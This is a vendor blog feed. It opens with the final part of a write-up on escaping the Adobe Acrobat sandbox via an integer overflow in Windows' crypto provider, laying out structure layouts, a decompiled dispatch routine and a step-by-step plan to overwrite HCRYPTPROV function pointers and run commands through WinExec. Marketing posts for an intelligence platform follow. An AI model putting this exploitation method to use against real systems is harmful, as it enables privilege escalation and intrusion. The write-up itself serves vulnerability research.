An example of an opaque blob that triggers the vulnerability is the following: if key + 0x10 is set to 0x120 and key + 0x14 equals 0xffffff00, then it leads to allocating 0x120 + 0xffffff00 + 0xc8 + 0x08 = 0xf0 bytes of buffer, into which 0x120 bytes are copied. The integer overflow allows bypassing a weak check, at [8], which requires the key length to be greater than: 0x120 + 0xffffff00 + 0x70 = 0x90.

Exploitation

The goal of exploiting this vulnerability is to escape the Adobe sandbox in order to execute arbitrary code on the system with the privileges of the broker process. It is assumed that code execution is already possible in the Adobe sandbox.

Exploit Strategy

The Adobe broker exposes cross-calls such as CryptImportKey() to the sandboxed process. The vulnerability can be triggered by importing a crafted key into the Crypto Provider Service, implemented in rsaenh.dll. The vulnerability yields an out-of-bounds write primitive in the broker, which can be easily used to corrupt function pointers. However, Adobe Reader enables a large number of security features including ASLR and Control Flow Guard (CFG), which effectively prevent ROP chains from being used directly to gain control of the execution flow.
 
The exploitation strategy described in this section involves bypassing CFG by abusing a certain design element of the Microsoft Crypto Provider. In particular, the interface that redirects code flow according to function pointers stored in the HCRYPTPROV object.
  

CryptSP – Context Object

HCRYPTPROV is the object instantiated and used by CryptSP.dll to dispatch calls to the right provider. It can be instantiated via the CryptAcquireContext() API, that returns an instantiated HCRYPTPROV object.

HCRYPTPROV is a basic C structure containing function pointers to the provider exposed routine. In this way, calling CryptSP.dll:CryptImportKey() executes HCRYPTPROV->FunctionPointer() that corresponds to provider.dll:CPImportKey().

The HCRYPTPROV data structure is shown below:

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    ----------------------------------------------
0x00        8                 CPAcquireContext          Function pointer exposed by Crypto Provider
0x08        8                 CPReleaseContext          Function pointer exposed by Crypto Provider
0x10        8                 CPGenKey                  Function pointer exposed by Crypto Provider
0x18        8                 CPDeriveKey               Function pointer exposed by Crypto Provider
0x20        8                 CPDestroyKey              Function pointer exposed by Crypto Provider
0x28        8                 CPSetKeyParam             Function pointer exposed by Crypto Provider
0x30        8                 CPGetKeyParam             Function pointer exposed by Crypto Provider
0x38        8                 CPExportKey               Function pointer exposed by Crypto Provider
0x40        8                 CPImportKey               Function pointer exposed by Crypto Provider
0x48        8                 CPEncrypt                 Function pointer exposed by Crypto Provider
0x50        8                 CPDecrypt                 Function pointer exposed by Crypto Provider
0x58        8                 CPCreateHash              Function pointer exposed by Crypto Provider
0x60        8                 CPHashData                Function pointer exposed by Crypto Provider
0x68        8                 CPHashSessionKey          Function pointer exposed by Crypto Provider
0x70        8                 CPDestroyHash             Function pointer exposed by Crypto Provider
0x78        8                 CPSignHash                Function pointer exposed by Crypto Provider
0x80        8                 CPVerifySignature         Function pointer exposed by Crypto Provider
0x88        8                 CPGenRandom               Function pointer exposed by Crypto Provider
0x90        8                 CPGetUserKey              Function pointer exposed by Crypto Provider
0x98        8                 CPSetProvParam            Function pointer exposed by Crypto Provider
0xa0        8                 CPGetProvParam            Function pointer exposed by Crypto Provider
0xa8        8                 CPSetHashParam            Function pointer exposed by Crypto Provider
0xb0        8                 CPGetHashParam            Function pointer exposed by Crypto Provider
0xb8        8                 Unknown                   Unknown
0xc0        8                 CPDuplicateKey            Function pointer exposed by Crypto Provider
0xc8        8                 CPDuplicateHash           Function pointer exposed by Crypto Provider
0xd0        8                 Unknown                   Unknown
0xd8        8                 CryptoProviderHANDLE      Crypto Provider library base address
0xe0        8                 EncryptedCryptoProvObj    Crypto Provider object's encrypted pointer
0xe8        4                 Const Val                 Constant value set to 0x11111111
0xec        4                 Const Val                 Constant value set to 0x1
0xf0        4                 Const Val                 Constant value set to 0x1
				
			
CryptSP dispatch using HCRYPTPROV

When a CryptSP.dll API is invoked the HCRYPTPROV object is used to dispatch the flow to the right provider routine. At offset 0xe0 the HCRYPTPROV object contains the real provider object that is used internally in the provider routines. When CryptSP.dll dispatches the call to the provider it passes the real provider object contained at HCRYPTOPROV + 0xe0 as the first argument.

				
					// CryptSP.dll

BOOL __stdcall CryptImportKey(
        HCRYPTPROV hProv,
        const BYTE *pbData,
        DWORD dwDataLen,
        HCRYPTKEY hPubKey,
        DWORD dwFlags,
        HCRYPTKEY *phKey)
{

[Truncated]

[1]

    if ( (*(__int64 (__fastcall **)(_QWORD, const BYTE *, _QWORD, __int64, DWORD, HCRYPTKEY *))(hProv + 0x40))(
           *(_QWORD *)(hProv + 0xE0),
           pbData,
           dwDataLen,
           v13,
           dwFlags,
           phKey) )
    {
        if ( (dwFlags &amp; 8) == 0 )
        {
            v9[11] = *phKey;
            *phKey = (HCRYPTKEY)v9;
            v9[10] = hProv;
            *((_DWORD *)v9 + 24) = 572662306;
        }
        v8 = 1;
    }

[Truncated]

}
				
			

At [1], we see an example how CryptSP.dll dispatches the code to the provider:CPImportKey() routine.

Crypto Provider Abuse

The Crypto Providers’ interface uses the HCRYPTPROV object to redirect the execution flow to the right Crypto Provider API. When the interface redirects the execution flow it sets the encrypted pointer located at HCRYPTPROV + 0xe0 as the first argument. Therefore, by overwriting the function pointer and the encrypted pointer, an attacker can redirect the execution flow while controlling the first argument.

Adobe Acrobat – CryptGenRandom abuse to identify corrupted objects

The Adobe Acrobat broker provides the CryptGenRandom() cross-call to the sandbox. If the CPGenRandom() function pointer has been overwritten with a function having a predictable return value different from the return value of the original CryptGenRandom() function, then it is possible to determine that a HCRYPTPROV object has been overwritten.

For example, if a pointer to the absolute value function, ntdll!abs, is used to override the CPGenRandom() function pointer, the broker executes abs(HCRYPTPROV + 0xe0) instead of CPGenRandom(). Therefore, by setting a known value at HCRYPTPROV + 0xe0, this cross-call can be abused by an attacker to identify whether the HCRYPTPROV object has been overwritten by checking if its return value is abs(<known value>).

Adobe Acrobat – CryptReleaseContext abuse to execute commands

The Adobe Acrobat broker provides the CryptReleaseContext() cross-call to the sandbox. This cross-call ends up calling CPReleaseContext(HCRYPTPROV + 0xe0, 0). By overwriting the CPReleaseContext() function pointer in HCRYPTPROV with WinExec() and by overwriting HCRYPTPROV + 0xe0 with a previously corrupted HCRYPTPROV object, one can execute WinExec with an arbitrary lpCmdLine argument, thereby executing arbitrary commands.

Shared Memory Structure – overwriting contiguous HCRYPTPROV objects.

In the following we describe the shared memory structure and more specifically how arguments for cross-calls are stored. The layout of the shared memory structure is relevant when the integer overflow is used to overwrite the function pointers in contiguous HCRYPTPROV objects.

The share memory structure is shown below:

				
					Field                   Description
--------------------    --------------------------------------------------------------
Shared Memory Header    Contains main shared memory information like channel numbers.
Channel 0 Header        Contains main channel information like Event handles.
Channel 1 Header        Contains main channel information like Event handles.
...
Channel N Header        Contains main channel information like Event handles.
Channel 0               Channel memory zone, where the request/response is written.
Channel 1               Channel memory zone, where the request/response is written.
...
Channel N               Channel memory zone, where the request/response is written.
				
			

The shared memory main header is shown below:

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -------------------------------------------
0x00           0x04           Channel number          Contains the number of channels available.
0x04           0x04           Unknown                 Unknown
0x08           0x08           Mutant HANDLE           Unknown
				
			

The channel main header data structure is shown below. The offsets are relative to the channel main header.

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -------------------------------------------
0x00           0x08           Channel offset          Offset to the channel memory region for
                                                      storing/reading request relative to share
                                                      memory base address.
0x08           0x08           Channel state           Value representing the state of the channel:
                                                      1 Free, 2 in use by sandbox, 3 in use by broker.
0x10           0x08           Event Ping Handle       Event used by sandbox to signal broker that
                                                      there is a request in the channel.
0x18           0x08           Event Pong Handle       Event used by broker to signal sandbox that
                                                      there is a response in the channel.
0x20           0x08           Event Handle            Unknown
				
			

Since the shared memory is 2MB and the header is 0x10 bytes long and every channel header is 0x28 bytes long, every channel takes (2MB - 0x10 - N*0x28) / N bytes.

The shared memory channels are used to store the serialization of the cross-call input parameters and return values. Every channel memory region, located at shared_memory_address + channel_main_header[i].channel_offset, is implemented as the following data structure:

				
					Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -----------------------------------------------
0x00           0x04           Tag ID                  Tag ID is used by the broker to dispatch the
                                                      request to the exposed cross-call.
0x04           0x04           In Out                  Boolean, if set the broker copy-back in the
                                                      channel the content of the arguments after the
                                                      cross-call. It is used when parameters are
                                                      output parameters, e.g. GetCurrentDirectory().
0x08           0x08           Unknown                 Unknown
0x10           0x04           Error Code              Windows Last Error set by the broker after the
                                                      cross-call to inform sandbox about error status.
0x14           0x04           Status                  Broker sets to 1 if the cross-call has been
                                                      executed otherwise it sets to 0.
0x18           0x08           HANDLE                  Handle returned by the cross call
0x20           0x04           Return Code             Exposed cross-call return value.
0x24           0x3c           Unknown                 Unknown
0x60           0x04           Args Number             Number of argument present in the cross-call
                                                      emitted by the sandbox.
0x64           0x04           Unknown                 Unknown
0x68           Variable       Arguments               Data structure representing every argument
[ Truncated ]
				
			

At most 20 arguments can be set for a request but only the required arguments need to be specified. It means that if the cross-call requires two arguments then Args Number will be set to 2 and the Arguments data structure contains two elements of the Argument type. Every argument uses the following data structure:

				
					Offset     Length (bytes)    Field                   Description
---------  --------------    --------------------    --------------------------------------------------
0x0        4                 Argument type           Integer representing the argument type.
0x4        4                 Argument offset         Offset relative to the channel address, i.e. Tag
                                                     ID address, used to localize the argument value in the channel self
0x8        4                 Argument size           The argument's size.
				
			

Each of the argument data structures must be followed by another one that contains only the offset field filled with an offset greater than the last valid argument’s offset plus its own size, i.e argument[n].offset + argument[n].size + 1. Therefore, if a cross-call needs two arguments then three arguments must be set: two representing the valid arguments to pass to the cross-call and the third set to where the arguments end.

Shown below is an example of the arguments in a two-argument cross-call:

				
					Offset         Length (bytes)    Field
---------      --------------    --------------------
0x68           4                 Argument 0 type
0x6c           4                 Argument 0 offset
0x70           4                 Argument 0 size
0x74           4                 Argument 1 type
0x78           4                 Argument 1 offset
0x7c           4                 Argument 1 size
0x80           4                 Not Used
0x84           4                 Argument 1 offset + Argument 1 size + 1: 0x90 + N + M + 1
0x8c           4                 Not Used
0x90           N                 Argument 0 value
0x90 + N       M                 Argument 1 value
				
			
An Argument can be one of the following types:
				
					Argument type       Argument name         Description
--------------      ------------------    -------------------------------------------------------------
0x01                WCHAR String          Specify a wide string.
0x02                DWORD                 Specify an int 32 bits argument.
0x04                QWORD                 Specify an int 64 bits argument.
0x05                INPTR                 Specify an input pointer, already instantiated on the broker.
0x06                INOUTPTR              Specify an argument treated like a pointer in the cross-call
                                          handler. It is used as input or  output, i.e. return to the
                                          sandbox a broker valid memory pointer.
0x07                ASCII String          Specify an ascii string argument.
0x08                0x18 Bytes struct     Specify a structure long 0x18 bytes.
				
			

When an argument is of the INOUTPTR type (intended to be used for all non-primitive data types), then the cross-call handler treats it in the following way:

  1. Allocates 16 bytes where the first 8 bytes contain the argument size and the last 8 bytes the pointer received.
  2. If the argument is an input pointer for the final API then it is checked to be valid against a list of valid pointers before passing it as a parameter for the final API.
  3. If the argument is an output pointer for the final API then the pointer is allocated and filled by the final API.
  4. If the INOUT cross-call type is true then the pointer address is copied back to the sandbox.

Exploit Phases

The exploit consists of the following phases:

  1. Heap spraying – The sandbox process cross-calls CryptAcquireContext() N times in order to allocate multiple heap chunks of 0x100 bytes. The broker’s heap layout after the spray is shown below.
Broker heap layout after spray
  1. Abuse Adobe Acrobat design – Since the HCRYPTPTROV object is passed as a parameter to CryptAcquireContext() the pointer must be returned to the sandbox in order to allow using it for operations with Crypto Providers in the broker context. Because of this feature it is possible to find contiguous HCRYPTPROV objects.
  2. Holes creation – Releasing the contiguous chunks in an alternate way.
Creating holes in the broker process heap
  1. Import malicious key – The sandbox process cross-calls CryptImportKey() multiple times with a maliciously crafted key. It is expected that the key overflows into the next chunk, i.e. an HCRYPTPROV object. The overflow overwrites the initial bytes of the HCRYPTPROV object with a command string, CPGenRandom() with the address of ntdll!abs, and HCRYPTPROV + 0xe0 with a known value.
Overwriting the first HCRYPTPROV object
  1. Find overwritten object – The sandbox process cross-calls CryptGenRandom(). If it returns the known value then ntdll!abs() has been executed and the overwritten object has been found.
  2. Import malicious key – The sandbox process cross-calls CryptImportKey() multiple times with a maliciously crafted key. It is expected that the key overflows the next chunk, i.e. an HCRYPTPROV object. The overflow overwrites CPReleaseContext() with kernel32:WinExec(), CPGenRandom() with the address of ntdll!abs, and HCRYPTPROV + 0xe0 with the pointer to the object found in step 5.
Overwriting an HCRYPTPROV object a second time
  1. Find overwritten object – The sandbox process cross-calls CryptGenRandom(). If it returns the absolute value of the pointer found in step 5 then ntdll!abs() has been executed and the overwritten object has been found.
  2. Trigger – The sandbox process cross-calls CryptReleaseContext() on the HCRYPTPROV object found in step 7 to trigger WinExec().

Wrapping Up

We hope you enjoyed reading this. If you are hungry for more make sure to check our other blog posts.

The post Escaping Adobe Sandbox: Exploiting an Integer Overflow in Microsoft Windows Crypto Provider appeared first on Exodus Intelligence.

An Unpatched Vulnerability, A Substantial Liability

22 March 2023 at 11:00

An Unpatched Vulnerability, A Substantial Liability

Even the largest and most mature enterprises have trouble finding and patching vulnerabilities in a timely fashion. As we see in this article challenges include getting patches pushed through a sophisticated supply chain and ultimately to a system whose end user may have devices configured to not allow automated remote patch application. We see this play out with every product that contains a line of code, from the simplest programs to large SaaS platforms with stringent performance, scalability, and availability requirements: patches need to be implemented at the earliest opportunity in order to avert catastrophe.

This plague of failing to patch vulnerabilities is infesting enterprises globally and is spreading like wildfire. It seems that nearly every day brings another breach, another company forced to spend millions reacting after the fact to a threat that may have been prevented. These attacks are often successful due to unpatched systems.  Victim companies that could have been proactive and taken measures to prevent these attacks, now find themselves in the spotlight with diminished reputation, the possibility of regulatory fines, and lost revenue. 

We see this pattern far too often and want to help. Exodus Intelligence’s new EVE (Exodus Vulnerability Enrichment) platform delivers real time updates on things that your security team needs to be worried about and helps you prioritize patches with our exclusive XI score that shows you which vulnerabilities are most likely to be exploited in the wild. EVE combines insight regarding known vulnerabilities from our world class researchers with supervised machine learning analysis and carefully curated public data to make available the most actional intelligence in the quickest possible manner. 

EVE is a critical tool in the war against cyberattacks in the commercial sector, allowing companies to leverage the same Exodus data trusted by governments and agencies for more than a decade. Never let your business be put in the position of reacting to an attack, get EVE from Exodus Intelligence and be proactive rather than reactive.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

For more information, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>An Unpatched Vulnerability, A Substantial Liability</strong> appeared first on Exodus Intelligence.

The Death Star Needed Vulnerability Intelligence

21 March 2023 at 20:55

The Death Star Needed Vulnerability Intelligence

Darth Vader and his evil colleagues aboard the Death Star could have seriously benefited from world-class vulnerability intelligence. Luckily for the Rebel Alliance, Vader was too focused on threat intelligence alone.

If you’ve ever seen the original Star Wars story, you might recall that the evil Empire was confident with their defensive intelligence as well as their seemingly impenetrable defensive systems. Their intel notified them of every X-Wing, pilot, and droid headed in their direction. They were flush with anti-aircraft turrets, tie fighters, and lasers to attack those inbound threats. 

The Death Star was a fortress—right?

This approach to security isn’t unlike the networks and systems of many companies who have a vast amount of threat intelligence reporting on all known exploits in exceptional detail. Sometimes, though, lost in the noise of all the threats reported, there is a small opening. If exploited, that small opening can lead to a chain reaction of destruction. The Rebel Alliance attacked the one vulnerability they found—with tremendous results to show for it. 

Unfortunately, there are bad actors out there who are also looking to attack your systems, who can and will find a way to penetrate your seemingly robust defenses. Herein lies the absolute necessity of vulnerability intelligence. 

Exodus provides world-class vulnerability intelligence entrusted by government agencies and Fortune 500 companies. We have a team of world class researchers with hundreds of years of combined experience, ready to identify your organization’s vulnerabilities, even the smallest of openings matter. With every vulnerability we detect, we neutralize thousands of potential exploits.

Learn more about our intelligence offerings and consider starting a trial:

For more information, visit www.exodusintel.com  or https://info.exodusintel.com/defense-offer-lp/ to see trial offers.

The post <strong>The Death Star Needed Vulnerability Intelligence</strong> appeared first on Exodus Intelligence.

Everything Old Is New Again

15 March 2023 at 15:00

Everything Old Is New Again,
Exodus Has A Solution

It is said that those who are ignorant of history are doomed to repeat it, and this article from CSO shows that assertion reigns true in cybersecurity as well.  Threat actors are continuing to exploit vulnerabilities that have been known publicly since 2017 and earlier.  Compromised enterprises referenced in the article had five years or longer to patch or mitigate these vulnerabilities but failed to do so.  Rarely does a month go by without another article showcasing how companies are continuously compromised by patched vulnerabilities.  Why does this keep happening?

Things are hard and vulnerability management is no exception.  Many enterprises manage tens, or hundreds, of thousands of hosts, each of which may have any number of vulnerabilities at any given time.  As you may well imagine, monitoring such a vast and dynamic attack surface can be tremendously challenging.  The vulnerability state potentially changes on each host with every application installed, patch applied, and configuration modified.  Given the numbers of vulnerabilities cited in the CSO article previously mentioned, tens of thousands of vulnerabilities reported per year and increasing, how can anything short of a small army ever hope to plug these critical infrastructure holes?

If you accept that there is no reasonable way to patch or mitigate every single vulnerability then you must pivot to prioritizing vulnerabilities and managing a reasonable volume off the top, therefore minimizing risk in the context of available resources.  There are many ways to prioritize vulnerabilities, provided you have the necessary vulnerability intelligence to do so.  Filter out all vulnerabilities on platforms that do not exist in your environment.  Focus on those vulnerabilities that exist on public-facing hosts and then work inward.  As you are considering these relevant vulnerabilities, sort them by the likelihood of each being exploited in the wild.

Exodus Intelligence makes this type of vulnerability intelligence and much more available in our EVE (Exodus Vulnerability Enrichment) platform.  Input CPEs that exist within your environment into the EVE platform and see visualizations of vulnerability data that apply specifically to you.  We combine carefully curated public data with our own machine learning analysis and original research from some of the best security minds in the world and allow you to visualize and search it all.  You can also configure custom queries with results that you care about, schedule them to run on a recurring basis, and send you a notification when a vulnerability is published that meets your criteria.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

 

For more information, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>Everything Old Is New Again</strong> appeared first on Exodus Intelligence.

CISA Urges Caution, One Year On From Invasion of Ukraine

8 March 2023 at 16:50

CISA Urges Caution, One Year On From Invasion of Ukraine

One year removed from Russia’s invasion of Ukraine, CISA has issued a warning to the United States and its European allies: increased cyber-attacks may be headed to your network.

 As tensions abroad remain high, the cyber landscape will be an extension of the physical battleground. More than ever, understanding where and how your organization is vulnerable is an essential part of risk management.

 At Exodus Intelligence, the leader in vulnerability intelligence, we seek to proactively understand your organization’s vulnerabilities, to assess the associated risk of those vulnerabilities, and to provide focused mitigation guidance based on our expert research.

 Rather than fighting thousands of threats individually, Exodus focuses on neutralizing thousands of potential exploits all at once, by addressing the root cause of your system’s vulnerabilities.

 Be sure to follow along with CISA alerts and advisories to remain vigilant on the developing threat landscape during this turbulent time. We have extensive coverage of the vulnerabilities in CISA’s Known Exploited Vulnerabilities catalog and provide mitigation guidance on those vulnerabilities to ensure your organization stays protected.

 Learn more about our product offerings and solutions to see how we can protect your organization:

 N-Day

 Zero-Day

 EVE

The post <strong>CISA Urges Caution, One Year On From Invasion of Ukraine</strong> appeared first on Exodus Intelligence.

Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises

1 March 2023 at 16:03

Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises

Today Exodus Intelligence is excited to announce EVE (Exodus Vulnerability Enrichment), our world-class vulnerability intelligence platform. EVE allows a wide range of security operations professionals to leverage Exodus’ state-level vulnerability research. This allows those professionals to prioritize mitigation and remediation efforts, enrich event data and incidents, be alerted to new noteworthy vulnerabilities relevant to their systems, and take advantage of many other available use cases valuable in defending their critical infrastructure.

EVE makes our robust intelligence available for the first time to enterprises for use in the defense of growing cyberattacks.  The API to the Exodus body of research enables us to provide simple, out of the box integration with SIEMs, SOARs, ticketing systems and other infrastructure components that can employ contextual data.  Additionally, it enables security operations teams to develop their own custom tooling and applications and integrate our vulnerability research.

Organizations with the ability to develop automation playbooks and other tools have been able to enrich available security data, enhance investigation and incident response capabilities, prioritize vulnerability remediation efforts, and more. We can now expand that capability and visibility to the rest of the security operations team with EVE. 

EVE provides users with an intuitive interface to Exodus’ intelligence corpus made up of original research, machine learning analysis, and carefully curated public data.  This interface includes regular automated updates to intelligence data, integration with environment-specific platform and vulnerability data, interactive visualizations that operationalize the research data for SOC analysts and risk management personnel, multidimensional search capability including filters which narrow results to only vulnerabilities that exist in the user’s environment and are likely to be exploited, and the ability to schedule searches to run on a recurring basis and email alerts to the user.

EVE capabilities include:

  • Dynamic, automated intelligence feed: Vulnerability research data is updated at minimum once per day with likelihood of a vulnerability to be exploited (XI Score), mitigation guidance, and other original research combined with curated public vulnerability data to maximize visibility of the attack surface.
  • Integration with the IT ecosystem: CPE data from vulnerability scans of the infrastructure can be input into EVE and applied as context to searches and visualizations keeping focus on relevant vulnerabilities.
  • Smart data visualization: The dashboard provides a wealth of information including a real-time likelihood that an existing vulnerability will be exploited in the environment, vulnerabilities grouped and sorted by categories such as attack vector or disclosure month, and which platforms in the environment have the most vulnerabilities. All visualizations are interactive allowing the user to drill into the vulnerability details making the data actionable.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

For more information, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises</strong> appeared first on Exodus Intelligence.

Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).

15 February 2023 at 02:23

Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).

Exodus Intelligence, the leader in Vulnerability Research, today announced it has been authorized by the CVE Program as a CVE Numbering Authority (CNA).  As a CNA, Exodus is authorized to assign CVE IDs to newly discovered vulnerabilities and publicly disclose information about these vulnerabilities through CVE Records.

“Exodus is proud to be authorized as a CVE Numbering Authority which will allow us to work even more closely with the security community in identifying critically exploitable vulnerabilities,” said Logan Brown, Founder and CEO of Exodus.

The CVE Program is sponsored by the Cybersecurity and Infrastructure Security Agency (CISA), of the U.S. Department of Homeland Security (DHS) in close collaboration with international industry, academic, and government stakeholders. It is an international, community-based effort with a mission to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. The mission of CVE is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. The discovered vulnerabilities are then assigned and published to the CVE List, which feeds the U.S. National Vulnerability Database (NVD). Exodus joins a global list of 269 trusted partners across 35 countries committed to strengthening the global cyber security community through discovering and sharing valuable cyber intelligence.

About Exodus Intelligence

Exodus employs some of the world’s most advanced reverse engineers and exploit developers to provide Government and Enterprise the unique ability to understand, prepare, and defend against the ever-changing landscape of Cyber Security. By providing customers with actionable Vulnerability Intelligence including deep vulnerability analysis, detection and mitigation guidance, and tooling to test defenses, our customers receive leading edge insights to harden their network or achieve mission success.

The post <strong>Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).</strong> appeared first on Exodus Intelligence.

❌
❌